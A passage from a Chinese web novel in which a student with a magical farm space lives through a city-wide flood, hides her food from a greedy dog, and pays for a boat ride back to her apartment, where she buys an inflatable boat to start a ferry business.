第二天早上，秦小薇刚睡醒就迫不及待地进了空间。 昨天喂的猪今天可以收培根了。 进了农场空间后，秦小薇直奔养猪场，她在虚拟屏幕上点了几下，三头原本已经长得肥肥壮壮的大白猪瞬间变回小猪崽的模样。 与此同时，她的仓库里多了三份培根。 秦小薇进养猪场挨个抱起猪崽检查了一下，猪崽身上并没有伤口。 可能是因为她是农场的主人，猪崽并不抗拒她的靠近，乖乖任她抱着，丝毫没有挣扎的迹象。 养猪场很干净，三只猪崽身上也没什么异味，它们看起来粉粉嫩嫩的，非常可爱。 秦小薇取出培根用手颠了颠，每份大概一斤的样子。 真神奇，割了一斤猪肉就瘦了这么多，这三头猪之前果然是虚胖…… 她往饲料槽里投放了三份猪饲料，才带着刚刚“割”下来的培根直奔零食厂，给零食厂安排了生产炭烤培根的任务…… 嘿嘿，一个小时后，她就可以偷摸进空间尝尝炭烤培根的味道了！ 吃完早饭，三个室友就出去玩了，秦小薇找借口留在寝室里，等时间到了，她就迫不及待地从卫生间进了空间。 虽然经过工坊的加工，但炭烤培根并没有缩水，一份依旧有一斤重。 秦小薇拿了个盘子，从仓库拿了一份炭烤培根出来，培根略有些烫，培根从仓库里拿出来之后，空气中全是诱人的肉香。 两天没开荤的秦小薇戴上一次性手套，拿起一条培根就咬了一口。 培根烟熏味并不重，因为加了糖浆，焦香味十足，口感带着点淡淡的甜，培根的边缘略有些焦黄，吃起来特别过瘾。 秦小薇：这也太好吃了！ 等雨停了买点蔬菜回来炒着吃，配大米饭肯定也好吃，还可以卷金针菇，放到烤箱里烤……吸溜！ 她戴着手套，解决了半份炭烤培根，才打着饱嗝，心满意足地离开了空间，担心其他人闻到味道，她出来后，还舀了杯水重新刷了牙。 秦小薇不想断了和外界的联系，已经两天没打游戏了，她的两部手机现在轮流开机，开机后也只开省电模式，一个人待在寝室实在是有些无聊，她决定去隔壁寝室找找乐子，看看有没有新开的游戏局能让她加入。 刚开门，她就碰到了牵着绳子在楼道里遛狗的裴欣，她开门的时候，一人一狗刚好走到1206门口，秦小薇脚步一顿，停了两秒，打算站在原地等他们走过去。 谁知那只拉布拉多却忽然停了下来，开始疯狂摇尾巴，还冲着秦小薇“汪汪”叫。 裴欣：“香肠，别用尾巴抽我！疼！不是刚吃完早饭吗？别闹了……” 说着，她一边躲避拉布拉多那堪称“武器”的尾巴，一边拽着牵引绳往前走，可拉布拉多一屁股坐在地上，怎么都不愿意走，秦小薇一眼就看到了拉布拉多嘴角晶莹的口水。 想到她刚刚吃的炭烤培根，秦小薇有些无语，真是狗鼻子啊！ 裴欣拽了好一会，始终没能拽动这只体重超过120斤的拉布拉多，气得她直接给了狗子几巴掌，但拉布拉多被打了也不走，一直冲着秦小薇汪汪叫，还流口水…… 十二楼的学生已经形成了“狗叫声＝八卦”的认知，就这么一会，已经有人从寝室里出来看热闹了，见当事人是秦小薇，她的三个室友立刻跑过来给她“撑腰”。 段霞：“薇薇，出什么事了？” 秦小薇：“我刚刚在寝室里吃了一根火腿肠，拉布拉多可能闻到了肉味，一直赖在这里不走……” 大家都知道香肠是只贪吃、还有点叛逆的狗，倒是没有怀疑秦小薇给出的解释。 反而是被裴欣牵着的拉布拉多，“汪汪”了几句，似乎是在反驳她…… 秦小薇一脸无奈地摇了摇头：“最后一根火腿肠已经被我吃完了，给你几个鹌鹑蛋吧！” 她回屋从抽屉里拿了一包真空包装的鹌鹑蛋递给裴欣。 裴欣没有犹豫，直接接了过去。 香肠太能吃了，暴雨这几天，她第一次体会到了食物不足的窘迫。 裴欣当场就把鹌鹑蛋的包装撕了，把鹌鹑蛋塞进香肠嘴里，香肠只嚼了几下，就把鹌鹑蛋吞了下去，然后继续盯着秦小薇流口水。 秦小薇：“……”一包鹌鹑蛋还不够打发它是吗？ 秦小薇摊了摊手：“没了。” 说着，她转头看向一旁的范槿三人：“饭饭，你们在玩什么？我去围观一下。” “行啊。”范槿立刻伸手去关1206的寝室门。 同一层楼住了几天，大家都知道，香肠虽然有时候叫得凶，但是并不咬人，就算裴欣和人吵架了，它也只会在边上“帮腔”……除了个别特别怕狗的女生，现在大部分学生都不怕它。 秦小薇跟着范槿去了斜对面的寝室，走了几步，发现拉布拉多叫得更大声了，她回头看了一眼，发现香肠正拖着裴欣往她的方向走，嘴角还在往下滴口水。 秦小薇：“……”真是只大馋狗！看来以后偷吃的时候要更注意点。 裴欣似乎是觉得丢人，又给了拉布拉多几巴掌。 已经损失了一包卤香鹌鹑蛋了，秦小薇不想损失更多，干脆拉着三个室友进了对面的寝室，还顺手把寝室门关上的。 裴欣应该会处理好的……吧？ 关门后，屋里的人顿时打开了话匣子，开始吐槽拉布拉多。 “拉布拉多都这么馋吗？我昨天还看到它堵着一个女生不让人家走，就因为她手里拿着一包猪肉脯……” “我本来还计划毕业以后养条狗的，这几天算是彻底打消这个念头了，太麻烦了，吃得还多。” “拉布拉多的饭量确实比普通的狗大，因为它们基因变异没有饱腹感，吃饱了还想吃……不过香肠这样应该是没训练好，训练好的拉布拉多服从性其实很好的，还能当警犬和搜救犬。” “……” 屋里几人聊了一会，就开始玩游戏了，等秦小薇再次出来的时候，走廊里已经看不到拉布拉多和裴欣的身影了。 白天，1206的几人一直没回自己寝室，暴雨第九天，就这样被消磨过去了。 连着关了九天，宿舍楼的学生都很怀念以前上早八的日子，很多人硬是熬到了凌晨等雨停。 秦小薇没跟着一起熬夜，她是七点半睡的，然后定了个一点的闹钟，打算半夜起来看看雨有没有停。 但闹钟还没响，她就被外面的动静吵醒了。 三个室友都不在寝室，宿舍的门虚掩着，她出门看了看，走廊里有人点了香熏蜡烛，大家都聚在窗户前。 就算隔了一段距离，秦小薇依旧能听到她们的欢呼声。 她点开手机手电筒，径直朝着走廊尽头走去：“雨停了吗？” “停了！停了！终于停了！”女生们激动地抱在一起庆祝。 秦小薇挤到窗户边上，把手伸出窗外，夜风拂过她的指尖，窗檐上有几滴讨人厌的水珠落在她的胳膊上，但她的手掌却是干燥的。 雨真的停了！ 她盯着窗外黑沉沉的夜色看了一会，直到走廊里激动的人群散了，她才重新回到1206。 回去后，她躺在床上有些失眠，脑子里一直在想着什么时候能回家。 工作群这两天发言的人特别少，她猜测大部分同事的手机应该都没电了，外面水这么深，出行不方便，银行复工大概率要等水退了以后…… 她想回家主要是想进空间洗澡洗头，她的头发实在是太脏了，每次一摸都是一手油，前两天，她用了隔壁班同学提供的干发喷雾，但那东西效果不持久，失效后，头发反而更脏了，用手指甲一挠，指甲缝里全是“泥”。 上网一搜，网上说干发喷雾里面都是粉末，用了以后容易堵塞毛孔，造成脱发，得及时清洁…… 身上她还能偷摸进空间烧热水擦一擦，但要是洗头肯定会被其他人发现，毕竟寝室空间没多大，还住了四个人…… 秦小薇一直都不觉得自己有洁癖，以前训练完出一身汗过个大半天再洗澡她也不觉得有什么，但这次实在是太久没洗头了，她只要一停下来就忍不住想头发的事，这让她浑身难受。 隔壁女寝有女生受不了，用冷水洗澡洗头，结果当天晚上就病了，秦小薇感冒还没完全好，为了不加重感冒，她一直忍着…… 秦小薇躺在床上翻来覆去地想了许久，后面，直接迷迷糊糊地睡了过去。 第25章 第25章回家（双更合一）…… 断网后,三个室友一天起得比一天早，第二天早上，秦小薇刚睡醒,就听到床下传来窸窸窣窣的动静。 秦小薇没立即进空间,一掀开帘子,她就看到范槿侧坐在椅子上，手背垫着下巴放在椅背上,眼睛直勾勾地盯着她遮得严严实实的床帘,见她醒了，范槿立刻坐直了身体。 那眼神……就像是看到了肉骨头的小狗。 秦小薇被她的眼神吓了一跳,她吞了吞口水：“饭饭，你为什么要用这种眼神盯着我？” 范槿：“薇薇，你快看看网上现在什么情况？供电什么时候能恢复？” 秦小薇：“……”原来是为了上网,果然是范槿的风格。 “好,我看看……”秦小薇拿出了手机。 昨天半夜，Q省的官媒就发布了Q省各地今天暴雨会陆续停的消息，半个小时前,有两家官媒发布了关于灾后重建的新闻。 可能是因为新闻才发出来不久，也可能是因为大家手机都没电了,新闻的浏览量并不高。 秦小薇把新闻大致浏览了一遍,才把手机递给范槿：“饭饭，你自己看吧！专家说，因为隔壁省还在下雨,至少要再等半个月，咱们这儿的积水才能退……” “还要这么久？！”肖琳琳和段霞也起来了，闻言立刻凑到范槿那看手机上的新闻。 秦小薇：“说是下游水位太高，就算泄洪,水也流不出Q省，让我们继续在家待着，市政会尽力保障大家的生活需求和物资供应……” 范槿烦躁地抓了抓头发：“唉，官方怎么不早点发布确切的消息？早知道我就多买几个充电宝了，现在就是后悔，非常后悔……” 段霞：“我记得之前看到过好几个预测，说暴雨过后肯定要等几天，水退了才能灾后重建，让我们多囤点物资……还好咱们相信了，跑了趟批发市场，要不然后面半个月就只能啃能量饼干了！” 范槿趴在桌子上，满脸生无可恋：“还有半个月，好难熬！” 下床之后，秦小薇借着上厕所的名义进了趟空间，有昨天被拉布拉多缠上的例子在，纵然她很馋仓库里那半份没吃完的炭烤培根，也不敢偷吃。 要是出去后室友问她“薇薇，你怎么上完厕所身上一股肉味，你在厕所里吃什么了”她都不知道该怎么回答。 一夜过去，阳台上只剩下一小团水印了，楼下的水位比昨天天黑前下降了一些，但也没下降太多，依旧在二楼和三楼之间…… 吃完早饭后，秦小薇没出门，她打开聊天软件，浏览被自己屏蔽的群消息，试图找出里面有用的信息。 别看Q大整个校区都被淹了，但每天都有志愿者专门开船来往各个楼栋之间，运送师生和各种物资，Q大和校外也有“交流”，秦小薇翻看着各个群里的消息，试图找到一条能送她回家的船…… 但很可惜，最后这几天，群里的消息少得可怜，她翻了一圈都没找到有用的消息。 她想了想，收拾东西去楼下找了辅导员，但是导员宿舍的门是关着的，临时腾出来的办公室的门也是锁着的。 秦小薇只能回十二楼。 上楼的时候，刚好碰到同楼层的几个女生从401接了热水，正准备回去，因为她们前两天一起玩过真心话大冒险，还算熟悉，几人上楼的时候就聊了起来。 几人问秦小薇下楼干什么，秦小薇便和她们说了自己想回家的事，还编了个理由，说出租房的楼栋进贼了，物业前几天给她发了消息，现在雨停了，她想坐船回去看看——这原本是她打算用来应付辅导员的理由。 一个女孩有些同情地看着她：“这么恐怖？！还好你这几天待在学校里， 住宿舍虽然不方便，但还是很安全的。” 秦小薇：“……其实家里真要是进贼了，我也不是很害怕。” 女孩有些尴尬地挠了挠头：“啊！我忘了，你是练举重的，听说你们有个教练还开了堂拳击课，有好多人抢课……” 走在后面的一个女孩忽然开口道：“我男朋友他室友在当志愿者，他可能有办法，可惜我手机没电了，要不然还能帮你问问……” 秦小薇的眼睛瞬间亮了：“我充电宝还有半格电，可以借你充会电！” 女孩的眼睛里爆发出惊喜的光：“真的吗？” 秦小薇：“充电宝在寝室，我待会去你们寝室找你，你住1219，没错吧” “对！” 上楼后，秦小薇拿了充电宝就迫不及待地去了女孩所在的寝室，女孩也不含糊，手机开机后，就联系了她男朋友的室友。 她男朋友的室友也是个爽快的，很快就给了确切答案：“……我九点多的时候，会送一批物资去寝室楼，走的时候可以顺道带你朋友去教学楼，教学楼那边每天都有运送物资的船，应该能搭个顺风船。今天要是没船出去也没事，我到时候再带你回来……” 听着手机听筒里传出的略有些失真的声音，秦小薇轻轻呼出一口气。 竟然这么快就解决了？！ 看来，多认识人还是有好处的…… 为了感谢女孩的牵线，秦小薇直接把充电宝留了下来，让她继续充电，等她出发的时候，再过来拿充电宝。 外面的积水还没退，进出宿舍楼只能走窗户和阳台，非常不方便，秦小薇回去后只收拾了一个背包，她前几天带回寝室的两个行李箱，她打算等水退了再来取——反正她住得近，周末来学校拿行李箱，骑小电驴也就是几分钟的事。 三个室友都在隔壁玩大富翁，秦小薇去隔壁和她们说了一声自己要回家的事。 范槿目露羡慕：“真好，你可以回家！” 秦小薇有些好笑：“你要是想家，也可以想办法回去，反正你是本市的。” 范槿：“emmm……还是算了吧！真回去了，我妈肯定要念叨我，还要给我安排相亲……唉，大一大二不许我恋爱，让我好好训练参加比赛，说什么谈恋爱会分心，现在实习工作了，忽然让我给她找个女婿，还让我谈一年毕业后就结婚，我才21岁，可不想这么早步入婚姻的坟墓……” 秦小薇拍了下她的肩膀，对她的经历深表同情。 段霞：“薇薇，你回去了还回来吗？” 秦小薇：“不确定，看情况吧！” 段霞：“那你到家了记得给郑黄发个短信报平安，她手机还有电……宿舍要是查寝我们给你打掩护。” 秦小薇：“学校应该不会查寝吧？这几天不是都没查吗？” 和室友交代完去向，她就回寝室等电话了——之前女生和她室友的男朋友打电话的时候，秦小薇和对方交换了联系方式。 她一直等到十点半，充电宝都被还回来了，手机铃声才响起来。 “秦小薇，我大概五分钟后到一栋楼下，你可以下来了……” “好的，我马上下来！”秦小薇立刻拿起背包往外走。 她下楼后没多久，船就来了。 “同学，你是秦小薇吗？”船上一个黑瘦的男生冲着走廊尽头的窗口喊道。 “我是，你是张旺吗？” 张旺点头，笑出了一口小白牙：“对，我现在把船开过去，你等下……” 为了方便人员“进出”，窗户口的绳梯并没有拆，秦小薇攀着绳梯，轻巧地跳上了船。 “厉害啊！好多女生都不敢爬绳梯，说是担心掉水里了……”船上另一个男生冲着秦小薇伸出大拇指。 “我体院的。”秦小薇解释了一句，自己找了个位置坐下。 这艘船和她前几天坐过的送餐船差不多，应该也是公园的观光船改造的，座位只留了一半，座位边上扔着一卷粗麻绳，船上坐着四个男生，秦小薇上船后他们的态度非常热情。 秦小薇打开双肩包，拿出脆柿和零食分给几人：“脆柿是暴雨前买的，你们不要嫌弃……谢谢你们绕路过来接我。” 四个男生很快瓜分完她带下来的食物：“不嫌弃不嫌弃，现在水果可是稀罕货，教学楼一个苹果能卖50，前几天当志愿者还能在食堂吃到水果，现在食堂的存货都被吃光了……” “同学，你是本市的吗？暴雨之前怎么不回家？” 秦小薇依旧是之前的理由：“不是，我在外面租了房子实习，前几天物业给我发短信说抓到了小偷，我有点担心，想回去看看。” “那也不用这么急，同学，你不出门不知道，暴雨这几天外面有多乱……”其中一个男生皱着眉头，显然很不赞成她的决定。 除了去食堂取餐那次，秦小薇这几天一直待在寝室里，对于外界情况的了解完全来源于网络。 她知道宁市虽然提前三天发了公告，但因为市民从没经历过这样的暴雨，依旧出了不少乱子，很多地方都缺物资，现在外面的治安也不太好…… 但网上的消息究竟几分真几分假，她是不知道的。 见男生这么说，她好奇地问道：“外面现在治安很差吗？” 男生嘴角下撇，“啧”了一声，满脸嫌弃：“何止是差？天气太糟糕，出警困难，再加上一些警察被调去救援了，那些妖魔鬼怪就都出来了……前两天，我们运物资回来的时候，有个人直接从楼上跳到我们船上抢东西，就跟动漫里的海盗似的！” “这么猖狂？！”在秦小薇的记忆里，宁市的治安一直都很不错，她在小吃街摆摊，小偷小摸的事都很少碰到。 张旺也劝她：“秦小薇，你家里要是没人，我劝你还是等水退了再回去，就算你是体院的，你一个女孩子住外面也不安全，真出了事，报警电话都不一定打得通……小偷都是前几天的事了，这几天，外面这样的事多得很，你现在回去，也不一定有用。” 船上的另一个男生也劝她：“住宿舍虽然没有在外面租房子住舒服，但至少安全有保障，真要是缺什么了，校领导也能弄来。之前咱们校医院不是缺退烧药吗？今天雨刚停，就有直升机空投了药品过来，听说还是第一批……” 见几人都劝她暂时别回家，秦小薇有一瞬的动摇，但也只是一瞬，她对自己的武力值还是很有信心的，只要不是对上练家子，她觉得自己胜算还是很高的。 而且，她都出来了…… 说话间，办公楼出现在众人的视线里，远远地，秦小薇就听到了发电机巨大的噪声，教学楼里人来人往，非常热闹。 张旺见秦小薇不听劝，只能带她去找今天外出的船只，半个小时后，有一趟去城西送人的船，刚好会经过她住的公寓。 秦小薇想蹭个顺风船，按照张旺的说法，像她这种情况，给点钱就能上船，教学楼那边有不少市民就是这样转移到“亲戚”家的，开船的人也乐得赚这个外快。 这趟船的负责人是个中年女人，有一头利落的短发，一副精明又能干的模样，听到秦小薇的来意后，她上下打量了秦小薇几眼，才开口：“可以送你回去，但你晚上得跟船回来。” “啊？”秦小薇有些惊讶，不是说给点钱就可以搭船吗？怎么还强制返程？ 中年女人以为她不愿意，多解释了一句：“你说的那地方我知道，那片前几天就有个女孩子被糟蹋了，事后那个男的被捅死了，听说楼里的人等了一晚上警察才过去收尸……女孩子碰上这样的事，一辈子就完了！你要是不回来，我可不敢送你过去，真出了事，学校还得找我麻烦……” 秦小薇更惊讶了，她知道她住的那栋公寓鱼 龙混杂，什么人都有，没想到这才下了几天暴雨，就出了这样的事。 她想了想，点头答应了：“那就麻烦你了，大姐，来回船费多少啊？” 中年女人：“三百。” 秦小薇在心里倒吸一口凉气，这也太贵了吧！ 从这里到她家也就几分钟的路程，竟然要收她三百？！ 抢钱啊！ 秦小薇忽然有种自己开船回家的冲动…… 似乎是看出了秦小薇的想法，中年女人开口道：“我可没宰你，都是这个价！湖岸西路知道吧！昨天有两个人要去那，我收了三千。” 秦小薇回忆了一下，湖岸西路离他们学校确实有点远，但不堵车也就三四十分钟的车程，打车过去，就算被司机宰了，车费也不会超过两百。 这么一算，三百接送她来回似乎也不是很贵……还是好贵啊！心疼她的钱！ 要不回去想办法拿条船出来，她也做做这送人的生意，这不比摆摊卖爆米花和面包赚的多？一天只要跑两趟，就能月入六位数！ 虽然很心痛，但秦小薇还是付了钱，就当是花钱去酒店开房洗澡了，再在宿舍里忍半个月不洗头，她真的做不到！ 船还要等半个小时才开，在等待的间隙，她打开了手机，上网查询现在的物价。 暴雨这几天，因为交通不便，全国各地的物价都上涨了许多，比如，原本三块多一斤的普通大米涨到了十块，三四块的泡面现在也要十几块钱一包。 菜蔬和肉类的价格更加离谱，一根香蕉现在能卖六七十，猪肉也从十几块涨到了一两百多一斤…… 虽然现在物价贵得离谱，但是暴雨期间出行不便，手上有钱也难买到东西，普通人没办法，只能捏着鼻子认了…… 不过，官方正在大力打击这种哄抬物价的行为，抓了不少人，市政的人在接受采访的时候还表示，鼓励市民积极举报，只要抓到就会严惩。 不过现在市政要处理的事太多了，市民们打的举报电话很多时候都没人接，各地天价物资的现象依旧非常普遍…… 秦小薇坐的这趟船是专门送人回家的，前几天，某些地势比较低的地方水涨得太快了，市政担心四五楼也会被淹，就组织了部分居民转移，现在雨停了，那些家没被淹的市民就可以陆续回家了。 毕竟Q大原本就有很多学生，供给这么多人的物资，Q大的压力很大，这些市民也不愿意和陌生人混居在陌生的环境里，要不是生命安全受到了威胁，他们当初根本就不会转移来这里…… 秦小薇上船后没多久，船就开去了附近一栋教学楼，这艘船比前几天的送餐船大很多，加上行李，大概能载一百来人。 教学楼的窗户边上站满了提着行李的市民，每当有船开过去停下，他们都会变得格外激动。 船停下后，之前和秦小薇说话的大姐拿着个大喇叭站在船头，冲着建筑里的人大声喊道：“这趟船是去北丰街的，拿到D02号船票的可以上船，住北丰街的往前挪一挪，大家让一让，别都堵在窗户口……现在雨停了，这一两天就能把你们送回家，别着急啊！” 秦小薇对他们的工作模式有些好奇，便站在甲板上，扶着围栏好奇地张望着。 她注意到，每个上船的居民，手上都有一张打印的小纸片，纸片上有身份证号、姓名、船次……应该就是大姐刚刚说的船票。 她听了会众人的聊天，才知道昨天下午开始，学校就在安排他们回家的事，这些船票也是昨天下午Q大的志愿者发给他们的，除了船票，他们每人还领到了三包能量饼干。 船舱里并没有多少座位，大家上船后就只能自己找地方站着。 船上的人都很多天没洗澡洗头了，再加上每个人都带着行李，船上显得十分拥挤，就算秦小薇站在甲板上，时时能呼吸到新鲜空气，她依旧觉得空气中的气味不太好闻…… 大姐一直站在船头数人，等拿到“D02”次船票的100人都上船后，她拿着大喇叭喊了一声：“好了，这趟船满了，你们等下一趟吧！” 船只缓缓启动，绕去了图书馆。 Q大的图书馆很高，有二十多层，紧急情况下，是可以安排难民住进去的。但可能是为了保护里面的图书，学校这次并没有往里面安排难民。 但船却在图书馆接到了一家四口，看到那个妈妈一上船就给大姐塞了个金戒指，秦小薇瞬间就明白了，这一家四口和她一样，都是大姐的外快来源。 大姐可能是担心在教学楼接人被注意到，才提前把人安排来图书馆…… 船启动后，大姐手上的大喇叭也没有关，她举着个大喇叭，一直在和船上的人强调回家后要注意生命财产安全云云…… 外面的世界一片汪洋，水面有些浑浊，水上漂浮着一些垃圾，高层建筑的窗户边上偶尔能看到人影走动。 看着面前的一切，秦小薇觉得熟悉又陌生…… 秦小薇住的公寓离学校很近，船开出学校不到五分钟，就到了。 大姐走到秦小薇边上，冲着她开口道：“小姑娘，到了，你怎么进去？” 秦小薇仰头看了看面前的公寓大楼，公寓走廊上也是有窗户的，暴雨这几天，似乎也有人从窗户进出，窗户边上悬挂着一个半金属的梯子。 它比宿舍楼用的那种绳梯高级很多，梯子上有踏板，两侧还有专门的扶手，一看就很结实。 秦小薇指了指窗户边上的梯子：“大姐，船能靠过去吗？那边有个梯子，我从那上去。” 大姐顺着她手指的方向看到了窗户边上的梯子，她点点头：“没问题！赵刚，船再往左一点……我大概五点多的时候来接你，你电话号码多少，我记下——” 秦小薇迅速报出一串数字，大姐当场就拨通了她的手机。 大姐：“行！你上去的时候小心点……” 船体靠近墙面后，秦小薇理了下背包的袋子，三两下爬进楼道里。 楼道里很黑，刚落地，秦小薇就闻到了一股垃圾发酵的臭味。 她顺着走廊往楼梯间的方向走，越是靠近电梯间，空气中的臭味就越明显，看到电梯间里的场景后，她的眉头忍不住皱了起来。 好家伙，楼里的住户是把电梯间当垃圾场了？！ 一向空空荡荡的电梯间，此时堆满了各种垃圾，有些是用垃圾袋装着的，还有些垃圾直接就倒在电梯间里，腐烂发酸的汤水流了一地，散发出阵阵恶臭。 秦小薇捂着鼻子飞快窜进了楼梯间，开始往九楼跑，九楼的电梯间比四楼好一些，但也堆了一些垃圾。 秦小薇猜测，这可能是因为九楼的住户比较少，毕竟住她对面的邻居一个人就把九楼的大半层买下了…… 第26章 第26章充气船（双更合一）…… 秦小薇找钥匙的时候,身后的门“咔擦”一声打开了，一个中年女人从屋里探出半个身子。 是对面的住家保姆，因为收过一盒对方送的天价巧克力,秦小薇每次碰到这位阿姨都会打招呼,和她的关系也不错。 “李阿姨,好久不见。”秦小薇主动开口打招呼。 看到是她，李阿姨把门缝开大了一些,露出了整个身体,眼神也不像刚开门的时候那么警惕：“小秦，真的是你啊！刚刚在监控里看到你,我还以为我看错了，你这几天怎么不在家？” 秦小薇视线上移，对面大门的右上方安了一个监控,不止如此,大门的智能锁也自带摄像头。 秦小薇：“回学校了，我们学校要求的……” 李阿姨一拍脑袋：“瞧我这记性，忘了你还是学生！对了,咱们这栋楼这几天出了不少事，又是闹贼,又是闹杀人犯,你回家以后好好检查一下，看看有没有丢什么东西……” 秦小薇翻找钥匙的动作顿了顿，她之前只是随便找个借口而已？竟然真的闹贼了？ 她朝李阿姨的方向走了两步：“阿姨,我这几天待在学校，楼里的事什么都不知道，您详 细给我说说？” 靠近后，她感受到了屋里传出的阵阵暖意,秦小薇有些惊讶：“阿姨，你家还开空调呢？不是停电了吗？” 李阿姨摆了摆手，一副家里有电很正常的模样：“家里好几台发电机呢，外面还挂了发电板……” “闹杀人犯是大前天的事，十三楼有个姑娘，她楼上一个男的敲门，找她借吃的，她也没什么警惕心，直接就开门了，谁知道那男的不是个东西，把那姑娘给……那姑娘也是个烈性子，趁着男的去洗澡的时候，拿水果刀把人给捅死了……事后她自己吓得不行，又打了报警电话……你不知道，她家浴室里全是血，那男的就光着身子躺在地上，身上被捅了十几刀，可吓人了……” 李阿姨说得绘声绘色，给秦小薇一种她当时就在案发现场的错觉。 “还有前天，有个男的用玻璃刀在我家客厅的落地窗上划了个洞，我家六个保镖呢！他也敢来偷，太猖狂了……” 说到小偷，李阿姨的表情又变得咬牙切齿。 秦小薇跟着骂了几句小偷，她有点好奇李阿姨之前说的发电板，聊了一会，又把话题转回了发电板上。 李阿姨：“就是一种板子，可以挂在外面墙上，也可以直接贴在瓷砖上，说是有光照就能发电，是之前装修的时候少爷的朋友推荐的，不过那板子下暴雨就不管用了，我们前几天都是开发电机……” 见秦小薇感兴趣，李阿姨还告诉了她发电板的品牌。 秦小薇和李阿姨聊了好一会，才开门回家，关门前，李阿姨还不忘叮嘱她：“小秦，你一个人住，在家警醒一点，别随便给陌生人开门……” 秦小薇：“我会的。” 家里和她离开前差不多，就是地上多了一层薄灰，秦小薇四处检查了一下，除了阳台靠外那一侧的墙面掉了些墙皮下来，屋里其他地方并没有进水的迹象。 秦小薇从空间里拿了张凳子出来，她站在凳子上，仔细检查了一下阳台的墙面。 应该是外面的水从墙面渗进来了，把阳台顶部刷的腻子泡“发”了，现在阳台的墙皮变得特别脆，用手一碰就“簌簌”往下掉白灰。 不过问题不是很大，等她有空了，去买一袋腻子粉，把“泡发”的墙皮铲掉，再刷一遍墙就行了。 损失不大！ 她对窗户和阳台的密封性非常满意，看多了网上的视频，秦小薇觉得，只要家里没像宿舍那样进水被“淹”就很好了。 秦小薇进空间找了一口最大的锅，舀满水后放在露天厨房的煤气灶上烧水。 大部分家具都在空间里，家里各处都空空荡荡的，在等待水开的间隙，秦小薇先用拖把把家里打扫了一遍，才开始往外面拿东西。 公寓和宿舍楼一样，下水口都是堵着的，水根本下不去，秦小薇干脆就在空间里洗澡洗头，脏水可以随便在空间里找个地方倒掉。 她的头发实在是太脏了，前两遍抹洗发水的时候，根本就不起沫，她用了三次洗发水，才觉得自己的头发变干净了…… 洗完头，秦小薇甚至有种浑身清爽的感觉！ 她不确定移动电源的电量能支撑多久，就没用吹风机，洗完头用毛巾擦干水就披散着头发，等头发自然晾干。 秦小薇从仓库里拿出上次没吃完的半份炭烤培根，端着盘子进了商店。 她空间里一共有四艘船，最小的和她人差不多大，是全透明的，躺在上面，有种海浪在给她唱摇篮曲，和大海近距离接触的惬意，但船的容积有点小，她躺下就没什么空间了。 最大的那个是个蛋糕主题船，舱室有四层楼高，舱室还是蛋糕形状的，船身粉粉嫩嫩，甲板上还有个四米多高、粉紫色的、拆不下来的塑胶蛋糕，非常惹眼。 还有两艘，一艘是游艇，另一艘则是老式的木头帆船。 四艘船，只有最小的那艘适合现在拿出来，主要是体积小，她单手就能搬动，也方便她找借口把船拿出来。 不过，秦小薇还是进了商店，想找找有没有更适合的。 她翻了半天，最后看中了一艘充气船，充气船的颜色是非常清新的嫩绿色，船体表面还印着很多花花草草，和农场的其他建筑一样，有点童话风的感觉。 充气船的介绍非常简略，详细介绍里并没有写充气船的大小，秦小薇犹豫了一会，还是决定赌一把，说不定它会比透明船更合适呢？ 主要是透明船太小了，她想利用它做生意的话，一次接一个人都够呛！ 一艘充气船要2000金币，和小猪崽的价格差不多，秦小薇还差563金币，她打开仓库卖了点东西，才把充气船拿下。 下单后，东西会直接放入仓库，秦小薇迫不及待地打开仓库，把船拿了出来。 看到实物后，她的眼睛一下子亮了。 这个大小简直太合适了！不放行李的话，一趟坐四五个人完全没问题！ 而且船体很轻，搬上搬下也很方便！ 秦小薇连炭烤培根都顾不得吃，直接把船搬到海边，下水试了试，这个船得手划，可能是因为充气船比透明船大很多，她一个人划有些费力，但多划一会，她也能适应。 船身像是那种很厚的橡胶材质，轻易弄不破，船的侧面有充气孔，但是买船并没有附赠充气泵，要是把气放掉了，她得自己想办法重新充气。 空间里有救生衣、缆绳，是很久之前，她刚拥有透明船的时候上网买的。毕竟透明船看起来不怎么安全，不穿上救生衣，她都不敢下水。 秦小薇把救生衣和缆绳翻了出来，她觉得，要是再有个充气泵，就完美了。 她在平静的海面上划了好一会，才依依不舍地离开了空间。 刚出空间，她的手机就收到了两条短信，是段霞借其他人的手机发的，问她有没有到家。 秦小薇这才想起来，自己到家后忘记和她们报平安了！ 她立刻发了条短信过去：阿霞，我到家了！傍晚再坐船回学校，大概五六点的时候到。 至于回去以后什么时候再回来，到时候再说！ 主要是，教学楼安置了那么多难民，秦小薇觉得有很多商机，想试试能不能赚点钱…… 在沙发上坐了没一会，秦小薇就觉得肚子饿了，她看了下时间，快十二点了，该吃午饭了！ 终于不用再啃饼干麦片了，秦小薇决定炒几个菜安抚一下自己的肠胃。 她又进了空间，先点燃煤气灶用砂锅煮了一锅米饭，又翻找了一下自己现有的食材，蔬菜依旧只有黑土地出产的胡萝卜，因为解锁了养猪场，她现在不缺培根、鱼肉和虾肉，她之前存在空间里的鸡排、半成品小酥肉、虾饼……也都还没吃完。 黑土地出产的草莓和甘蔗之前双倍经验完成订单的时候消耗了一些，她这段时间从海里“钓”上来的西梅、西瓜、橘子几乎没怎么动。 主食更是不缺，她暴雨前刚从批发市场买了一千斤面粉。 除了蔬菜种类有些单一，她空间里的食物还是非常丰富的。 秦小薇思考了一会，决定中午做个胡萝卜片炒培根和酸辣鱼片。 好几天没吃白米饭了，秦小薇抱着砂锅，把饭菜吃了个干干净净，撑得她直打嗝！ 还是在空间里舒服啊！不冷不热，想吃什么吃什么，还自带游乐场打发时间。 吃完了中饭，秦小薇把充电宝留在空间里充电，自己先出去了。 她要下楼研究一下船怎么放下去。 量好充气船的尺寸后，秦小薇带着卷尺下了楼，走廊尽头的窗户是推拉窗，两扇窗户不能同时打开，她用卷尺量了量，只开半边窗户，她的充气船就算卡角度也出不去，但要是把 两扇窗户都拆了，充气船就能轻松送出去。 她想了想，翻到窗户外面，站在梯子上，观察了一下三楼各家各户的窗户，很快找到了目标。 三楼有一户没安防盗窗，他家的窗户可以往外推开，从他们家走，应该可以轻松把充气船送下水。 秦小薇记下那家的位置，扶着梯子的扶手爬进楼道里，去敲了那户的门。 “咚咚咚——” “你好，我是九楼的住户，我有一艘充气船，想从你家借个道，把船从你家的窗户送出去，请问方便吗？” “咚咚咚——” “……” 秦小薇很确定刚刚站在梯子上的时候，看到屋里有人影晃动，但她敲了很久的门，屋里的人始终没有任何回应，既不开门也不应话。 她叹了口气，折回窗户边上，开始研究窗户该怎么拆卸，还拿出手机，上网搜索了塑钢推拉窗的拆卸方法。 